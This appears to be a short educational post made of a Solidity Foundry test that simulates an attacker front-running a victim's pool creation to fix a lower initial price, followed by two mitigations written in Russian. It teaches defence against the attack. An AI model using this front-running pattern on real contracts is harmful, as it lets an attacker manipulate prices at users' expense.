function testFrontRunning() public {
        uint256 intendedPrice = 100;
        uint256 attackPrice = 50;


        // 1. Victim intends to create a pool with initialPrice = intendedPrice
        vm.startPrank(victim);
        // exploitableContract.getOrCreatePool(victim, intendedPrice); //Simulate that the victim is about to call this.


        // 2. Attacker observes this transaction and front-runs it with attackPrice
        vm.stopPrank();
        vm.startPrank(attacker);
        exploitableContract.getOrCreatePool(victim, attackPrice);
        vm.stopPrank();


        // 3. Victim's transaction now executes
        vm.startPrank(victim);
        exploitableContract.getOrCreatePool(victim, intendedPrice); // This call should not change the price because the pool already exists


        // 4. Assert that the pool's initialPrice is now the attacker's price, NOT the victim's intended price
        assertEq(exploitableContract.viewPoolInitialPrice(victim), attackPrice, "The pool's initial price should be the attacker's price.");
        vm.stopPrank();
    }

Как избежать этой уязвимости?

1. Разделите создание актива и взаимодействие с ним на две отдельные транзакции.
‍
2. Прроверьте параметры целевого ресурса и вернитесь назад, если они неверны.

#frontrun